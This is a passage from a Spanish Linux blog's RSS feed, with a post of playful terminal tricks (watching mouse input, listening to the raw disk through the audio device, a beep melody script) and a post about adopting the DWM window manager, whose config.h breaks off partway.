href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fsoftware-libre%2Fel-que-usa-software-privativo-no-esta-respetando-su-libertad%2F&amp;linkname=El%20que%20usa%20software%20privativo%20no%20est%C3%A1%20respetando%20su%20libertad">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/software-libre/el-que-usa-software-privativo-no-esta-respetando-su-libertad/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Useless: Cosas ociosas e inútiles que puedes hacer en GNU/Linux</title>
		<link>http://blog.zerial.org/linux/useless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux/</link>
		<comments>http://blog.zerial.org/linux/useless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 20:38:34 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Useless]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[inutil]]></category>
		<category><![CDATA[juegos]]></category>
		<category><![CDATA[ocio]]></category>
		<category><![CDATA[pasatiempos]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=854</guid>
		<description><![CDATA[Aveces nos encontramos en el trabajo o en la universidad frente a la pantalla sin nada que hacer y empezamos a inventar cosas para hacer, probamos comandos, nos mandamos alguna cagadita, en fín, intentamos ocupar nuestro tiempo de ocio en algo. A continuación les mostraré unos cuantos tips para cuando esten aburridos. Les enseñaré a [...]]]></description>
			<content:encoded><![CDATA[<p>Aveces nos encontramos <del datetime="2009-09-12T19:57:32+00:00">en el trabajo o en la universidad</del> frente a la pantalla sin nada que hacer y empezamos a inventar cosas para hacer, probamos comandos, nos mandamos alguna <em>cagadita</em>, en fín, intentamos ocupar nuestro tiempo de ocio en algo. A continuación les mostraré unos cuantos <em>tips</em> para cuando esten aburridos.<br />
Les enseñaré a escuchar como trabaja su disco duro, jugar con el <em>speaker</em>, ver los movimientos -en binario- del mouse y algo más.</p>
<p><strong>La guía del ocio, índice:</strong></p>
<ol>
<li>Ver los movimientos del mouse</li>
<li>Escuchar como trabaja nuestro disco duro</li>
<li>Jugar con el speaker</li>
</ol>
<p><span id="more-854"></span></p>
<p><strong>Contenido</strong></p>
<ul>
<li><strong>Ver los movimientos del mouse</strong></li>
<p>Podemos visualizar los movimientos que hacemos con el mouse, dependiendo del dispositivo que usemos. Por ejemplo yo, con un mouse usb o con el touchpad de mi portatil usaré el dispositivo <em>/dev/input/mice</em>. Es simple, sólo debemos ejecutar el comando (como root):<br />
<code># cat /dev/input/mice</code><br />
Y comenzar a mover el mouse.<br />
Resultado:</p>
<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2009/09/cat_dev_mouse.png"><img class="aligncenter size-medium wp-image-866" title="cat_dev_mouse" src="http://blog.zerial.org/wp-content/uploads/2009/09/cat_dev_mouse-300x89.png" alt="cat_dev_mouse" width="300" height="89" /></a></p>
<li><strong>Escuchar como trabaja nuestro disco duro</strong></li>
<p>Esto va depende de cómo tengamos distribuido nuestros discos, en mi caso, corresponde al dispositivo <em>/dev/sda</em> y para &#8220;escuchar&#8221; cómo suena, sólo ejecuto este comando (root):</p>
<p><code># cat /dev/sda &gt;&gt; /dev/audio</code><br />
Y sentiremos como si estuviesemos escuchando ruido extraterrestre&#8230;</p>
<li><strong>Jugar con el speaker</strong></li>
<p>Esto es un poco más divertido, para esto necesitaremos instalar el paquete &#8220;beep&#8221; y cargar el módulo <strong>pcspkr</strong> en el caso que no esté cargado. Para hacer sonar el speaker basta con ejecutar el comando:<br />
<code># beep</code></p>
<p>Podemos jugar con las frecuencias y duración de cada beep (ver <em>man beep</em>) y lograr cosas como estas:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re3">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.33</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">415.3</span>; </div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">sleep</span> <span class="nu0">0.165</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span>; </div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span> -l <span class="nu0">170</span>; </div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">466.2</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li2">
<div class="de2">beep -f <span class="nu0">349</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">311.1</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span>; </div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">sleep</span> <span class="nu0">0.33</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">523.2</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.165</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span>; </div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span> -l <span class="nu0">170</span>; </div>
</li>
<li class="li2">
<div class="de2">beep -f <span class="nu0">550</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">523.2</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">415.3</span>; </div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">523.2</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li2">
<div class="de2">beep -f <span class="nu0">698.4</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.03</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">349</span> -l <span class="nu0">170</span>; </div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">311.1</span> ; </div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">311.1</span> -l <span class="nu0">170</span>; </div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">sleep</span> <span class="nu0">0.05</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">261.6</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.03</span></div>
</li>
<li class="li1">
<div class="de1">beep -f <span class="nu0">392</span>; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sleep</span> <span class="nu0">0.03</span></div>
</li>
<li class="li2">
<div class="de2">beep -f <span class="nu0">349</span> -l <span class="nu0">750</span>;</div>
</li>
</ol>
</div>
<p>Por ejemplo, este &#8220;beep&#8221; lo hicimos junto a <a href="http://p0ns.org/" target="_blank">Pons</a> y a otros compañeros en la Universidad, cuando estabamos muy aburridos y no teniamos cosas que hacer.
</ul>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fuseless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux%2F&amp;linkname=Useless%3A%20Cosas%20ociosas%20e%20in%C3%BAtiles%20que%20puedes%20hacer%20en%20GNU%2FLinux">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/useless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dymamic Window Manager (DWM): Mi nuevo gestor de ventanas</title>
		<link>http://blog.zerial.org/linux/dymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas/</link>
		<comments>http://blog.zerial.org/linux/dymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas/#comments</comments>
		<pubDate>Sat, 29 Aug 2009 15:04:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[dwm]]></category>
		<category><![CDATA[dynamic window manager]]></category>
		<category><![CDATA[window maganer]]></category>
		<category><![CDATA[wm]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=819</guid>
		<description><![CDATA[El otro día leí en irc que hablaban sobre ScrotWM y lo probé. En un principio me gustó mucho, demasiado sencillo y ligero, luego de usarlo un par de minutos ya me estába dando problemas con algunas ventanas flotantes y para no quedarme con las ganas entonces lo cambié por Dynamic Window Manager (DWM). La [...]]]></description>
			<content:encoded><![CDATA[<p>El otro día leí en irc que hablaban sobre <a href="http://scrotwm.org">ScrotWM</a> y lo probé. En un principio me gustó mucho, demasiado sencillo y ligero, luego de usarlo un par de minutos ya me estába dando problemas con algunas ventanas <em>flotantes</em> y para no quedarme con las ganas entonces lo cambié por <a href="http://dwm.suckless.org/">Dynamic Window Manager (DWM)</a>.</p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/08/dwm.gif" alt="dwm" title="dwm" width="192" height="80" class="aligncenter size-full wp-image-818" /></p>
<p>La gracia de este gestor de ventanas es que es <strong>demasiado</strong> simple, tiene no mas de 2 mil líneas de código, no usa archivos de configuración y claro, para configurarlo hay que editar directamente el código fuente y volver a compilarlo y re-ejecutarlo para que tome los cambios. </p>
<p><span id="more-819"></span></p>
<p><code>[zerial@daila dwm-5.6.1]$ wc -l dwm.c<br />
1959 dwm.c<br />
[zerial@daila dwm-5.6.1]</code></p>
<p>Esto último, a muchos les puede provocar un trauma pero no es tan dificil como parece, aunque yo vengo de un entorno fluxbox por lo que cambiarme a dwm no me costó tanto.</p>
<p>Algunos screenshots:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2009/08/dwm.png"><img src="http://blog.zerial.org/wp-content/uploads/2009/08/dwm-300x187.png" alt="dwm" title="dwm" width="300" height="187" class="aligncenter size-medium wp-image-820" /></a><br />
<a href="http://blog.zerial.org/wp-content/uploads/2009/08/dwm2.png"><img src="http://blog.zerial.org/wp-content/uploads/2009/08/dwm2-300x187.png" alt="dwm2" title="dwm2" width="300" height="187" class="aligncenter size-medium wp-image-821" /></a></p>
<p>Todavía no lo modifico mucho, sólo configuré los <em>workspaces</em>, algunas aplicaciones y los atajos de teclado, pero acá les dejo mi configuración (fichero config.h).</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="coMULTI">/* See LICENSE file for copyright and license details. */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* appearance */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> font<span class="br0">&#91;</span><span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span class="st0">&quot;-*-terminus-medium-*-*-*-14-*-*-*-*-*-*-*&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> normbordercolor<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="st0">&quot;#cccccc&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> normbgcolor<span class="br0">&#91;</span><span class="br0">&#93;</span> &nbsp; &nbsp; = <span class="st0">&quot;#cccccc&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> normfgcolor<span class="br0">&#91;</span><span class="br0">&#93;</span> &nbsp; &nbsp; = <span class="st0">&quot;#000000&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> selbordercolor<span class="br0">&#91;</span><span class="br0">&#93;</span> &nbsp;= <span class="st0">&quot;green&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> selbgcolor<span class="br0">&#91;</span><span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;= <span class="st0">&quot;black&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> selfgcolor<span class="br0">&#91;</span><span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;= <span class="st0">&quot;green&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">unsigned</span> <span class="kw4">int</span> borderpx &nbsp;= <span class="nu0">1</span>; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/* border pixel of windows */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">unsigned</span> <span class="kw4">int</span> snap &nbsp; &nbsp; &nbsp;= <span class="nu0">32</span>; &nbsp; &nbsp; &nbsp; <span class="coMULTI">/* snap pixel */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> Bool showbar &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">True</span>; &nbsp; &nbsp; <span class="coMULTI">/* False means no bar */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> Bool topbar &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span class="kw2">True</span>; &nbsp; &nbsp; <span class="coMULTI">/* False means bottom bar */</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* tagging */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> *tags<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span> <span class="st0">&quot;www&quot;</span>, <span class="st0">&quot;mail&quot;</span>, <span class="st0">&quot;media&quot;</span>, <span class="st0">&quot;terms1&quot;</span>, <span class="st0">&quot;terms2&quot;</span>, <span class="st0">&quot;terms3&quot;</span>, <span class="st0">&quot;terms4&quot;</span>, <span class="st0">&quot;terms5&quot;</span>, <span class="st0">&quot;apps&quot;</span> <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> Rule rules<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="coMULTI">/* class &nbsp; &nbsp; &nbsp;instance &nbsp; &nbsp;title &nbsp; &nbsp; &nbsp; tags mask &nbsp; &nbsp; isfloating &nbsp; monitor */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;Gimp&quot;</span>, &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="nu0">1</span> &lt; &lt; <span class="nu0">8</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">True</span>, &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">-1</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;Pidgin&quot;</span>, &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="nu0">1</span> &lt;&lt; <span class="nu0">8</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">True</span>, &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">-1</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;psi&quot;</span>, &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="nu0">1</span> &lt;&lt; <span class="nu0">8</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">True</span>, &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">-1</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;X-Chat&quot;</span>, &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="nu0">1</span> &lt;&lt; <span class="nu0">8</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">True</span>, &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">-1</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;Zenity&quot;</span>, &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="kw2">NULL</span>, &nbsp; &nbsp; &nbsp; <span class="nu0">0</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">True</span>, &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">-1</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* layout(s) */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">float</span> mfact &nbsp; &nbsp; &nbsp;= <span class="nu0">0.55</span>; <span class="coMULTI">/* factor of master area size [0.05..0.95] */</span></div>
</li>
<li class="li2">
<div class="de2"><span class="kw4">static</span> <span class="kw4">const</span> Bool resizehints = <span class="kw2">True</span>; <span class="coMULTI">/* False means respect size hints in tiled resizals */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> Layout layouts<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="coMULTI">/* symbol &nbsp; &nbsp; arrange function */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;[]=&quot;</span>, &nbsp; &nbsp; &nbsp;tile <span class="br0">&#125;</span>, &nbsp; &nbsp;<span class="coMULTI">/* first entry is default */</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;&gt;&lt;&gt;&quot;</span>, &nbsp; &nbsp; &nbsp;<span class="kw2">NULL</span> <span class="br0">&#125;</span>, &nbsp; &nbsp;<span class="coMULTI">/* no layout function means floating behavior */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="st0">&quot;[M]&quot;</span>, &nbsp; &nbsp; &nbsp;monocle <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* key definitions */</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co2">#define MODKEY Mod1Mask</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co2">#define TAGKEYS(KEY,TAG) \</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KEY, &nbsp; &nbsp; &nbsp;view, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">ui</span> = <span class="nu0">1</span> &lt; &lt; TAG<span class="br0">&#125;</span> <span class="br0">&#125;</span>, \</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ControlMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KEY, &nbsp; &nbsp; &nbsp;toggleview, &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">ui</span> = <span class="nu0">1</span> &lt;&lt; TAG<span class="br0">&#125;</span> <span class="br0">&#125;</span>, \</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KEY, &nbsp; &nbsp; &nbsp;tag, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">ui</span> = <span class="nu0">1</span> &lt;&lt; TAG<span class="br0">&#125;</span> <span class="br0">&#125;</span>, \</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ControlMask|ShiftMask, KEY, &nbsp; &nbsp; &nbsp;toggletag, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">ui</span> = <span class="nu0">1</span> &lt;&lt; TAG<span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* helper for spawning shell commands in the pre dwm-5.0 fashion */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co2">#define SHCMD(cmd) { .v = (const char*[]){ &quot;/bin/sh&quot;, &quot;-c&quot;, cmd, NULL } }</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">/* commands */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> *dmenucmd<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span> <span class="st0">&quot;dmenu_run&quot;</span>, <span class="st0">&quot;-fn&quot;</span>, font, <span class="st0">&quot;-nb&quot;</span>, normbgcolor, <span class="st0">&quot;-nf&quot;</span>, normfgcolor, <span class="st0">&quot;-sb&quot;</span>, selbgcolor, <span class="st0">&quot;-sf&quot;</span>, selfgcolor, <span class="kw2">NULL</span> <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> *termcmd<span class="br0">&#91;</span><span class="br0">&#93;</span> &nbsp;= <span class="br0">&#123;</span> <span class="st0">&quot;urxvt&quot;</span>, <span class="kw2">NULL</span> <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> *webcmd<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span> <span class="st0">&quot;firefox&quot;</span>, <span class="kw2">NULL</span> <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> *mailcmd<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span> <span class="st0">&quot;thunderbird&quot;</span>, <span class="kw2">NULL</span> <span class="br0">&#125;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> *gimpcmd<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span> <span class="st0">&quot;gimp&quot;</span>, <span class="kw2">NULL</span> <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> <span class="kw4">const</span> <span class="kw4">char</span> *twitcmd<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span> <span class="st0">&quot;twitsh&quot;</span>, <span class="kw2">NULL</span> <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">static</span> Key keys<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="coMULTI">/* modifier &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; key &nbsp; &nbsp; &nbsp; &nbsp;function &nbsp; &nbsp; &nbsp; &nbsp;argument */</span></div>
</li>
<li class="li2">
